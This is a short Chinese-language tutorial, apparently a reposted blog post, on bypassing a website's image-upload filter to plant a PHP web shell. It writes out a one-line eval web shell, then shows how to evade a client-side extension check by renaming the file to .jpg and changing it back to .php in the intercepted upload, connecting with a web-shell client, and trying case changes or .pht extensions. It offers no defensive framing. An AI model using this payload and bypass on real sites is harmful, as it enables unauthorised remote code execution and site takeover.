（1）打開網站
（2）我們注意到一個圖片上傳，先傳個jpg看看
（3）結果中可以看到Stored in: upload/Tulips.jpg
先記一下，這個是文件的保存路徑，后邊會用到。
下邊開始看看傳其他文件，php，或隨便一個后綴名文件，探究他的過濾能力
我寫了個php文件為1text.php
<?php @eval($_POST['c']);?> 
（4）我們發現不能上傳文件，可是又抓包抓不到，可以判定，在本地做了文件過濾
這時候，我們可以看看源代碼，發現有后綴名的校驗
（5）我們現在把1test.php改為1test.jpg
(6)可以發現文件是可以上傳成功的。
（7）但顯然，這個也不是我們要的結果，jpg格式不能直接解析
這個時候，我們想想是不是可以在上傳的時候將文件名改回php
（8）居然成功了，，我們菜刀連一下，。。網速太渣，就這樣把
(9)下邊提升下難度，如果上傳不成功，
使用大小寫測試，或加 1 2 3 4 5 等，再或者嘗試pht文件免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
